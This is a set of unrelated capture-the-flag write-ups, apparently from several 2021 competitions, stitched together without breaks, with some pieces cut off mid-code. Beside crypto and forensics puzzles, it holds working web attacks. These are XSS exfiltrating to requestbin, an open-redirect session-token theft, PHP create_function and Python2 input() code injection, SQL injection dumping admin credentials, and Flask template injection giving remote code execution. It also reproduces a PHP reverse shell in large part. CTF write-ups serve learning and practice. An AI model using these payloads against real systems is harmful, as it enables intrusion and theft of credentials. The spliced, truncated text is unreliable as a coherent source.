s%5B%5Da%5B%5Dn%5B%5Dt%5B%5Da%5B%5Dz%5B%5Dw%5B%5Di%5B%5Ds%5B%5Dh%5B%5De%5B%5Ds%5B%5Dz%5B%5Dy%5B%5D0%5B%5Du%5B%5Dz%5B%5Dc%5B%5Dr%5B%5Da%5B%5Dc%5B%5Di%5B%5Du%5B%5Dn%5B%5Dz%5B%5Df%5B%5De%5B%5Dr%5B%5Di%5B%5Dc%5B%5Di%5B%5Dt Then decode from url: s[]a[]n[]t[]a[]z[]w[]i[]s[]h[]e[]s[]z[]y[]0[]u[]z[]c[]r[]a[]c[]i[]u[]n[]z[]f[]e[]r[]i[]c[]i[]t And now we continue the process to deconstruct s1 that will give us string s that is our input: const s1=s.replace(/4/g,'a').replace(/3/g,'e').replace(/1/g,'i').replace(/7/g,'t').replace(/_/g,'z').split('').join('[]'); We first do split('[]') and join('') santazwisheszy0uzcraciunzfericit And now we replace a with 4, e with 3, i with 1, t with 7 and z with _ s4n74_w1sh3s_y0u_cr4c1un_f3r1c17 And then we could asssume this was the falg since in the code we have return check(x)?"X-MAS{"+x+"}" But for good measure if we run in console win("s4n74_w1sh3s_y0u_cr4c1un_f3r1c17") we get X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17} Flag was **X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17}** Difficulty: *Easy* The great thing about this challenge was to learn to identify different types of enconding, specially in the url decode part where if you did from charcode with base 16( the normal one) you would not obtain a valid url encryption so you had to look for different bases until it looked like the correct one. That finishes my write ups for this competition, I also colaborated for the solutions of *Many Paths* and *Santa's ELF holomorphing machine*, but they were mainly developed by my colleague.
# Classicaly Easy By [Siorde](https://github.com/Siorde) ## Descriptionovmogeqfj{yahe_wgwff_avpv_eszahtmac_qxefowoey!} ## SolutionWe have the encrypted flag, so i need to understand how the crypting work to find the flag. From how it look, it seems logical that we only need to replace each letter with the right one.The first part of the flag should be "shaktictf", so from that i tried to shift every letter for the right one. I found : o-22=s v-14=h m-12=a o-4=k g-13=t e-22=i q-14=c f-12=t j-4=f From that i got a pattern, so i continue to shift the unknown letter following the shift and i got the flag : shaktictf{lets_start_with_something_classical!}
# heim You get this by visiting the page: ![image](https://user-images.githubusercontent.com/29373869/112760912-96365c00-8ff0-11eb-8a83-1d501d1157ad.png) What is this BEARER token???I insert a random username and get an access_token. After multiple failed attempts trying to decode the token, I notice that the request needs to have a an aditional parameter. ![image](https://user-images.githubusercontent.com/29373869/112761096-65a2f200-8ff1-11eb-9c75-325776bab5ba.png)Source: https://swagger.io/docs/specification/authentication/bearer-authentication/ So I used curl ```curl -H "Authorization: Bearer <token>" url``` ![image](https://user-images.githubusercontent.com/29373869/112761166-d21df100-8ff1-11eb-8256-127b8b6d21b9.png) Huh... Let's try to add /heim to the url ```curl -H "Authorization: Bearer <token>" url/heim``` ![image](https://user-images.githubusercontent.com/29373869/112761189-02fe2600-8ff2-11eb-865f-b3405e182ff9.png) Ding Ding! But it's not over yet. After decoding it we get a long json with this: ![image](https://user-images.githubusercontent.com/29373869/112761223-350f8800-8ff2-11eb-9667-b1f0d79ed077.png) ```curl -H "Authorization: Bearer <token>" url/flag``` ![image](https://user-images.githubusercontent.com/29373869/112761263-6daf6180-8ff2-11eb-8536-e191ce37c22f.png) Well, let's try to get a token for Odin. ![image](https://user-images.githubusercontent.com/29373869/112761348-d3035280-8ff2-11eb-8f99-012f4137893a.png) FLAG=UMASS{liveheim_laughheim_loveheim}
Check out [https://fadec0d3.blogspot.com/2021/03/bsidessf-2021-web-challenges.html#csp-1](https://fadec0d3.blogspot.com/2021/03/bsidessf-2021-web-challenges.html#csp-1) for writeup with images. --- If we look at the Content Security Policy (CSP) for this page, we can see it'svery open. To identify this, you can learn each rule or use a tool such as [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/). The CSP in this case was: ```javascriptdefault-src 'self' 'unsafe-inline' 'unsafe-eval'; script-src-elem 'self'; connect-src *``` The unsafe-inline keyword will allow execution of arbitrary inline scripts. Let's start with a simple XSS payload: ```html``` This already works! So now we only need to get the flag from the`/csp-one-flag` route after the admin visits it. We can use [fetch](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) for this.We'll also use [https://requestbin.io/](https://requestbin.io/) again. Here's the final payload submitted to the admin: ```html``` And we get a flag back on the RequestBin side: ```CTF{Can_Send_Payloads}```
# Table of contents- ## [Magic](#challenge-name--magic) --- # Notes ### PC environments are Ubuntu and Kali Linux --- # Challenge Name : Magic ## Information### Challenge URL - http://35.238.173.184/ ### Useful endpoints- http://35.238.173.184/admin.php ### Not useful endpoints- http://35.238.173.184/rules.html- http://35.238.173.184/chat.html- http://35.238.173.184/report.html By typing something into the form of http://35.238.173.184/admin.php and submit it, it will show information about a deprecated php function `create_function` Some participants leaked the source code of `admin.php` and it's browsable at http://35.238.173.184/2, we found it using `gobuster` > Response of http://35.238.173.184/2``` <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span>×</span></button> Function declared.</div>'; include "flag.php"; if (isset ($_POST['c']) && !empty ($_POST['c'])) { $blacklist = "/mv|rm|exec/i"; $code = $_POST['c']; if(strlen($code)>60) { die("too long to execute"); } if(preg_match($blacklist,$code)){ die("that's blocked"); } $fun = create_function('$flag', $code); print($success); }?> <html><head> <title>Bug Bounty</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous" /> <link rel="stylesheet" type="text/css" href="css/style.css" /></head><body><header> ...``` It's safe to say the exploit is `create_function` ## Our solution First, on php manual https://www.php.net/manual/en/function.create-function.php, it was stated that the function `create_function` _internally performs eval()_, so we tried `echo "test";` as our first payload, but nothing works. Then, from the leaked source code, we noticed that `display_errors`,`error_reporting` are turned on. Maybe we need to trigger some error to print the value of flag? But we don't get any good result from here either. Lastly, we decided to have a look on the source code of `create_function` on github. https://github.com/php/php-src/commit/ee16d99504f0014c3d292809da927fb622293f41#diff-edb36f5f855ff35b1fedf54f66a089b9cf76dcad42eb94a3db70e0b88a0fe95fL1901 turns out `create_function` does something like this internally.``` create a char* variable append "function " + $SOME_DYNAMIC_NAME + "(" + $LIST_OF_ARGUMENTS + ")" + "{" + $CODE_TO_EXECUTE + "}" + "\0" into char* variable the char* variable are then passed to zend_eval_stringl() to be compiled and executed ```and $CODE_TO_EXECUTE is the variable that we can control We constructed a payload to check if we can print anything. ```}printf("printed some stuff!");function a(){``` ![ss1.png](../files/ss1.png) the payload works, so we assumed `echo` will able to print something and after testing it's true. next we tried payload ```}system("cat flag.php");function a(){```which gave us a fake flag ![fakeflag.png](../files/fakeflag.png) then we tried a more powerful payload ```}system("cat *");function a(){``` and in the output we found the flag! ![final flag](../files/Screenshot%20from%202021-04-05%2012-40-37.png) ## Flag: shaktictf{p0tn714l_0f_func710n5_4r3_1nf1n173} --- ## Foot Notes FYI the real flag is in `1998_Dumb_secrets.php` ![ls output](../files/Screenshot%20from%202021-04-05%2012-13-23.png) ---
Check out [https://fadec0d3.blogspot.com/2021/03/bsidessf-2021-web-challenges.html#cute-srv](https://fadec0d3.blogspot.com/2021/03/bsidessf-2021-web-challenges.html#cute-srv) for writeup with images. --- This challenge was fun, cute and straight-forward once the bug is found. First we're presented with a page of cute photos and the nav bar allows us to`Login` or `Submit` a new image for review. Looking in the source, there's a `/flag.txt` route which must be the goal ofthe challenge, but when visiting it we get a message `'Not Authorized'`. If we visit `Login` we can click the only link available and it willautomatically log us in and redirect us to the main page. on `/submit` it gives us the ability to submit a URL which the admin willvisit. This is typical in a lot of CSRF challenges, so we can start by checkingthe User-Agent and other features when it visits our link, pointing to a serverwe own or using something like [https://requestbin.io/](https://requestbin.io/). Even if we find XSS, the site is using HttpOnly cookies, so we probably need tofind something else. Checking out the `Login` route again while watching the requests, it doessomething interesting. When requesting `/check` from the login service it willinclude the session token in the URL, but does not restrict which URL itredirects to. Using this bug we can force the Admin user to send their ownsession token to our site instead. We can use RequestBin again to steal the session token `authtok`, submitting this link to the admin: ```https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Frequestbin.io%2F1oar7lu1``` Now we can reach the `/flag.txt` route which is only available to the admin: ```curl https://cutesrv-0186d981.challenges.bsidessf.net/flag.txt \-b 'loginsid=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE4NDYyMjkyLCJpYXQiOjE2MTU3ODM4OTIsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1NzgzODkyLCJzdWIiOiJhZG1pbiJ9.iA3lgwhmhOPNKh0_Wxmi923EOWdcUWcS-cIA_lxPhtExEGMeGkep3zweJ-MXtFyOwiDnMZ7Uuyuth9mFQ0lpMQ' ``` And we get the Flag! ```FLAG: CTF{i_hope_you_made_it_through_2020_okay}```
# Write-up of the challenge "What's is your input" This challenge is part of the "Binary exploitation" category and earns 50 points. # Goal of the challenge The objective of the challenge is to enter the correct answers to 2 questions that a python program asks us. We have available the source code that we can use. ## Program structure ![enter image description here](https://i.ibb.co/Y7p6fwq/english-input.png)## Problem By reading the source code we understand that to obtain the flag we must answer the second question correctly. However, unlike the first question where the answer is identical each time the program is launched, the preferred city chosen is the result of a random choice of several cities unknown to the user. ## Security breach The security flaw lies in 2 points: the version of python used **"Python2"** and the function used to retrieve the inputs of the user **"Input"**. Indeed by entering certain functions in input it is possible to inject code and therefore display what you want ## Solution Several solutions exist, each more or less optimized. The best is to inject the following command `__import __ ('os'). System ('sh')` which consists in directly importing a shell to the user. The latter can thus cat the flag and even the names of the cities. You can directly cat the `__import __ ('os'). System ('cat flag')` flag or even try to brute force the program by choosing a city and repeat the program until it is chosen. If you liked this writeup you can check our github with this [link](https://github.com/PoCInnovation/ReblochonWriteups/tree/master/PicoCTF2021) and star our repository.
# chunkies The given PNG file was corrupted. We easily see the missing `\x89` at the top of the file before the `PNG` chunk. Then browsing the image again we see the `IADT` and the `INED` chunks. Using ```sed -i 's/IADT/IDAT/g' fix.pngsed -i 's/INED/IEND/g' fix.png``` is enough to fix every chunks. Last error is a CRC corruption as `pngcheck` shows: ```$ pngcheck -v fix.png...CRC error in chunk IHDR (computed 5a7b8dc, expected 5a9b8dc)...``` Let's manually change the value from what it gets to what it expects, and get our flag! ![flag](https://raw.githubusercontent.com/Ewael/CTFs/master/2021/ShaktiCTF/Forensics/chunkies/fix.png) ```shaktictf{Y4YyyyY_y0u_g0t_1T}```
Unzipping the given file, we get a folder named 60x50 containing 3000 images each of size 10x10 named as 1.jgp, 2.jpg, 3.jpg,......,3000.jpg Its pretty clear that what we have to do is join theses 3000 pictures, keeping 60 pictures in each 50 rows. Since each picture is of 10x10, the final picture we get will be of 600x500. So I made this python script using PIL module to do the job: ```from PIL import Image src = Image.new('RGB', (600, 500)) file=1for j in range(1,61): for i in range(1,51): dst=Image.open('60x50/'+str(file)+'.jpg') if(j==1): column=1 else: column=(int(j)-1)*10 if(i==1): row=1 else: row=(int(i)-1)*10 src.paste(dst, (column, row)) file=int(file)+1src.save('final.png')```> Opening the final.png, we can see the flag written in the image: shaktictf{poll0w_lik3_a_g00d_c0nscience}
# Help Me The given memory dump contains the flag which is splitted in 3 parts. Let's analyse it with `volatility`: ```python2 /opt/volatility/vol.py -f Challenge.vmem imageinfo``` We see `Win7SP1x64` being a possible profile so we'll use this one. I often start my analysis by saving the output of `filescan` while checking the `iehistory`: ```python2 /opt/volatility/vol.py --profile=Win7SP1x64 -f Challenge.vmem iehistory...C:/Users/alexander/Downloads/L4ST.py.txtC:/Users/alexander/Documents/Part%20II.pngC:/Users/alexander/Downloads/L4ST.py...``` It shows some interesting files that seemed to be downloaded on the machine, as `filescan` confirms. ```0x000000007e269310 12 0 R--r-d \Device\HarddiskVolume1\Users\alexander\Documents\Part II.png0x000000007ec2c970 2 0 R--r-- \Device\HarddiskVolume1\Users\alexander\Downloads\L4ST.py.zip0x000000007f07b740 13 0 R--r-d \Device\HarddiskVolume1\Users\alexander\Downloads\DumpIt.exe``` We also see that strange `DumpIt.exe` that we'll check after. Let's dump both part 2 and part 3 with ```python2 /opt/volatility/vol.py --profile=Win7SP1x64 -f Challenge.vmem dumpfiles -D dumped -Q [addr]``` I started with the third part in the Python script. In the order: - it waits for an input- it calls a first decoding function on this input- it calls a second decoding function on the decoded result- it checks if the final decoded string is equal to the expected one- if yes, then it prints the flag from a decoding function, else it just returns. Here are those functions, after cleaning the code and renaming functions properly: ```python#!/usr/bin/env python3 s = 4y = []Z = []res = []expected="uh27bio:uY
# AgentTesterV1 The code of the aplication was provided and looking at the code we can see that is vulnerable to sql injection (Later i discovered that this wasnt really necessary because the tables names can be checked in the aplication files but hey, is cool): `SELECT userAgent, url FROM uAgents WHERE userAgent = '%s'` Lets get the tables names:`' UNION SELECT name, name FROM sqlite_master WHERE type='table' --``' UNION SELECT name, name FROM sqlite_master WHERE type='table' and name!="uAgents"--` Table names:- uAgents- user The user table is what we want here i guess. Lets try this: `' UNION SELECT username, password FROM user --` And the page gave us: `Testing User-Agent: admin in url: *)(@skdnaj238374834**__**=` cool! So we now have the admin credentials: ```admin:*)(@skdnaj238374834**__**=``` Also we can use whatever endpoint and user agent we want: `' UNION SELECT 'AgentTester v1','https://hookb.in/oXYJDgO6yzS1mmLaRZax' --` Next, i noticed that the endpoint `/debug` exists (The challenge provided the code but im silly and didnt take a look until now). Looking at the app code, i noticed that it ask for a specific session ID, probably the admin user. I got the admin user so was not too hard to get access to it using Postman (Just copied the header `Cookie` from my browser to Postman). After some research, looks like we can inject flask under the key `code` with a POST form to the `/debug` endpoint. For example: ```code:{{config}} <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '1L5&wnIh4!Rz6Ufo^iY?aRyV2qXM+kz5', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'auth', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///DB/db.sqlite', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}}>``` Funny. What about this: ```code:{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} uid=1000(uwsgi) gid=0(root) groups=0(root)``` So we have remote code execution. After some digging i found the flag listing all the envars of the machine: ```code:{{request.application.__globals__.__builtins__.__import__('os').popen('printenv').read()}} BASE_URL=challenge.nahamcon.com KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.116.0.1:443 UWSGI_ORIGINAL_PROC_NAME=uwsgi HOSTNAME=agenttester-691977e06298952e-5c9d4d6f8f-ssqhz SHLVL=1 PYTHON_PIP_VERSION=21.0.1 PORT= HOME=/root GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568 _=/usr/local/bin/uwsgi PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/b60e2320d9e8d02348525bd74e871e466afdf77c/get-pip.py KUBERNETES_PORT_443_TCP_ADDR=10.116.0.1 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp LANG=C.UTF-8 CHALLENGE_FLAG=flag{fb4a87cfa85cf8c5ab2effedb4ea7006} PYTHON_VERSION=3.8.8 ADMIN_BOT_PASSWORD=*)(@skdnaj238374834**__**= KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.116.0.1:443 CHALLENGE_NAME=AgentTester PWD=/app ADMIN_BOT_USER=admin KUBERNETES_SERVICE_HOST=10.116.0.1 PYTHON_GET_PIP_SHA256=c3b81e5d06371e135fb3156dc7d8fd6270735088428c4a9a5ec1f342e2024565 UWSGI_RELOADS=0``` Flag: `flag{fb4a87cfa85cf8c5ab2effedb4ea7006}`
TL:DR:Recreation of this [hacktrick](https://book.hacktricks.xyz/pentesting/pentesting-web/werkzeug) 1. Don’t use Werkzeug debugger lol2. Give the `?animal=` GET parameter something unexpected (`?animal=blah`) and get yourself a traceback with a python console (Werkzeug lol)3. Oh wait it’s PIN protected4. Nevermind you can generate the pin yourself5. Directory-traversal though `?animal=` parameter for linux files (like `?animal=%2F..%2F../sys/class/net/eth0/address`)6. Cat flag but in a python shell
Honestly? Go view the GitHub URL instead of looking here. ## Hermit - Part 1 (HP1) ### Description - HP1 Author: [goproslowyo](https://github.com/goproslowyo) This box was a simple extension filter bypass to gain a shell and get the flag. ### Process - HP1 1. Started `netcat` listener on `8001`.1. Uploaded php reverse shell with an image extension -- `.png` worked fine.1. We're given a random filename `0YE8gg` and a link (`http://34.121.84.161:8086/show.php?filename=0YE8gg`) to view it.1. Viewing the link executes the reverse shell to give us access.1. From here we can explore the server and get the flag. ```shell hermit@aec9a5b5ef1d:/$ ls /home/hermit ls /home/hermit userflag.txt hermit@aec9a5b5ef1d:/$ cat /home/hermit/userflag.txt cat /home/hermit/userflag.txt UMASS{a_picture_paints_a_thousand_shells} ``` ### Screen Grabs - HP1 #### User Shell - HP1 ![user shell](./assets/HP1/shell.png) #### User Flag - HP1 ![userflag.txt](./assets/HP1/flag.png) #### Root LUL - HP1 ![{a_test_of_integrity}](./assets/HP1/rootlol.png) #### Proof - HP1 ![proof](./assets/HP1/proof.png) ### Tools Used - HP1 1. [Pentest Monkey PHP Revshell](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php) ```php array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1);}stream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); }}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string) { if (!$daemon) { print "$string\n"; }}?>```
---layout: posttitle: "[Shakti CTF] Help Me"date: "2021-04-05"categories: Forensicsauthor: isfet--- This challenge of **ShaktiCon** worth 400pts. In this challenge only a file was given. After downloaded it i saw that has a particular extension that i've never saw. It was a .vmem file. After googling a while i found that is a particular file that exists only on startup and crash state of a virtual machine and is a mapping of the memory of the guest machine. The problem still was how to open and read it. We can do this in two ways:- With an hex editor, but in this way you have to read the entire memory dump- With a tool that analyze and extract different information from it (volatility) With volatility we can navigate the entire memory dump and use different tools available in this suite to extract information.First of all we have to know more about the image info. Running the fallowing command will return the fallowing output```volatility_2.6_win64_standalone.exe imageinfo -f ..\..\Challenge.vmemVolatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (C:\Users\dinam\Downloads\Challenge.vmem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002a100a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002a11d00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2021-04-03 05:10:52 UTC+0000 Image local date and time : 2021-04-03 10:40:52 +0530``` So the image is of a Windows7 machine.Volatile suite offers diffent tools in order to extract more information from .vmem file.One of this is the "*consoles*" command, that pull out cmd line history. Running this command we have obtained the fallowing output: ```volatility_2.6_win64_standalone.exe -f ..\..\Challenge.vmem --profile=Win7SP1x64 consolesVolatility Foundation Volatility Framework 2.6**************************************************ConsoleProcess: conhost.exe Pid: 1144Console: 0xff716200 CommandHistorySize: 50HistoryBufferCount: 1 HistoryBufferMax: 4OriginalTitle: %SystemRoot%\system32\cmd.exeTitle: C:\Windows\system32\cmd.exeAttachedProcess: cmd.exe Pid: 1708 Handle: 0x60----CommandHistory: 0x26e9c0 Application: cmd.exe Flags: Allocated, ResetCommandCount: 1 LastAdded: 0 LastDisplayed: 0FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x60Cmd #0 at 0x2478b0: UGFydCAxlC0gc2hha3RpY3Rme0gwcDM=----Screen 0x250f70 X:80 Y:300Dump:Microsoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\alexander>UGFydCAxlC0gc2hha3RpY3Rme0gwcDM='UGFydCAxlC0gc2hha3RpY3Rme0gwcDM' is not recognized as an internal or external command,operable program or batch file. C:\Users\alexander>``` With more attention we can see a strange command in the history: "*UGFydCAxlC0gc2hha3RpY3Rme0gwcDM=*". This seems like a base64 string. Converting this in a more simple format give us the first part of the flag: "*shaktictf{H0p3*". At this point we have a lot of different command to run on the image, but reading the description of teh challenge we know that we have to extract file from the .vmem file to achive the other part of the flag.We tried to extract the search history from Internet Explorer, maybe there we can find more usefull information.The command try to reconstract history from saved coockies, but unfortunatelly, we have obtained no usefull information. So we have decided to do this manally. We can list all file on the machine and reading a bit the result obtained we can find the ie history:```...\Device\HarddiskVolume1\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep003.cat\Device\HarddiskVolume1\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnep00a.cat\Device\HarddiskVolume1\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00z.cat\Device\HarddiskVolume1\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\prnca00y.cat\Device\HarddiskVolume1\Program Files\desktop.ini\Device\HarddiskVolume1\Users\alexander\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR\WinRAR.lnk**\Device\HarddiskVolume1\Users\alexander\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat**\Device\HarddiskVolume1\Users\alexander\AppData\Roaming\Microsoft\Windows\Cookies\index.dat\Device\HarddiskVolume1\Users\alexander\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat\Device\HarddiskVolume1\$Directory\Device\HarddiskVolume1\$Directory\Device\HarddiskVolume1\$Directory\Device\HarddiskVolume1\Windows\System32\drivers\tdx.sys\Device\HarddiskVolume1\Windows\System32\drivers\tdi.sys...```Boom! This file contains the information that we are searching for! We can download it running the following command:```volatility_2.6_win64_standalone.exe -f ..\..\Challenge.vmem --profile=Win7SP1x64 dumpfile <address if the file> --name <outputfilename> -D <destinationdir>``` The downloaded file contains usefull strings:**Visited: alexander@file:///C:/Users/alexander/Downloads/L4ST.py****Visited: alexander@file:///C:/Users/alexander/Documents/Part%20II.png**Now we know that we have to find this two files in the memory. Running again the previous command we can download this file.The first one is a python code that we have to use to obtain the last part of the flag, the otherone it's image.So... it's stego time!Opening this image with stegsolve, on some layer, there something strange that seems like a LSB. Opening with an online to for LSB we can obtain the second part of the flag: **_y0U_l1k3d_**.Now it's time to read the python code:```pythons=4y=[]Z=[]k=[]Q='uh27bio:uY
# mathemoji When we connect to the docker we see such message: ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-final-writeups/master/pictures/2021-03-26-23-39-59.png) There are some mathematical problems that we need to solve. But instead of numbers there are emojis. If we run it a few times, we will see that there are only 10 emojis, so we can assume that each emoji corresponds to one number. So the task is to find corresponding numbers and solve this problems 100 times. Fully automated POC/solver: ```pythonimport socketimport itertoolsimport re host = "docker.hackthebox.eu"port = 31080 def education(): substitut = {'?': None, '?': None, '?': None, '?': None, '❌': None, '?': None, '?': None, '?': None, '?': None, '⛔': None} print('looking for nice equation.....') while True: client_socket = socket.socket() client_socket.connect((host, port)) data = client_socket.recv(2024).decode() data = client_socket.recv(2024).decode() match = re.search( r"Question \d{1,3}:\n(.+)Answer:", data, re.MULTILINE | re.DOTALL) question = match.group(1) client_socket.send(str(123).encode()) data = client_socket.recv(2024).decode() solution = '' try: answer = int( re.search(r"The correct answer was ([-\d]{1,})", data).group(1)) if '*' in question and ('+' or '-') in question: print('bruteforcing equation.....') for numbers in list(itertools.permutations([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])): dictionary = {"?": numbers[0], "?": numbers[1], '?': numbers[2], '?': numbers[3], '❌': numbers[4], '?': numbers[5], '?': numbers[6], '?': numbers[7], '?': numbers[8], '⛔': numbers[9]} equation = question for word, initial in dictionary.items(): equation = equation.replace( word, str(initial)).replace(" ", '') equation = re.split(r'([\+\-*\/])', equation) equation = ''.join([re.sub(r'^0+', '', part) for part in equation]) result = int(eval(equation)) if result == answer: if solution != '': if equation == solution: pass else: continue else: solution = equation solution = solution.replace(' ', '') question = question.replace(' ', ' ') for idx, val in enumerate(question): if val in substitut: if substitut[val] is None: substitut[val] = solution[int(idx/2)] if None not in substitut.values(): print(substitut) break else: counter = 0 for value in substitut.values(): if value is None: counter += 1 if counter == 1: for number in '1234567890': if number not in substitut.values(): for emoji, num in substitut.items(): if num is None: substitut[emoji] = number break else: print(substitut) print('looking for nice equation.....') except: pass return substitut def solver(substitut): error_counter = 0 while True: try: client_socket = socket.socket() client_socket.connect((host, port)) print("solving the task...") while True: data = client_socket.recv(2024).decode() data = client_socket.recv(2024).decode() print(data) flag = re.search(r"HTB{.+}", data) if flag is not None: print(flag.group(0)) quit() match = re.search( r"Question \d{1,3}:\n(.+)Answer:", data, re.MULTILINE | re.DOTALL) equation1 = match.group(1) for word, initial in substitut.items(): equation1 = equation1.replace( word, str(initial)).replace(" ", '') equation1 = re.split('([\+\-*\/])', equation1) equation1 = ''.join([re.sub(r'^0+', '', part) for part in equation1]) answer = eval(equation1) client_socket.send(str(answer).encode()) except Exception as e: print("something went wrong, retrying....") error_counter += 1 if error_counter == 10: print("looks like we made a bad dictionary, trying again.....") substitut = education() error_counter = 0 print(e) substitut = education()solver(substitut)``` At first we are trying to find equation with ‘*’ and (‘+’ or ‘-’) signs. Then we will bruteforce all possible combinations until we will fulfill our dictionary with corresponding values.Now we got our dictionary, like this one:{'?': '1', '?': '6', '?': '0', '?': '3', '❌': '2', '?': ‘9’, '?': '7', '?': '4', '?': '8', '⛔': '5'}Then we can solve all 100 equation in the loop and get flag ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-final-writeups/master/pictures/2021-03-26-23-55-06.png)
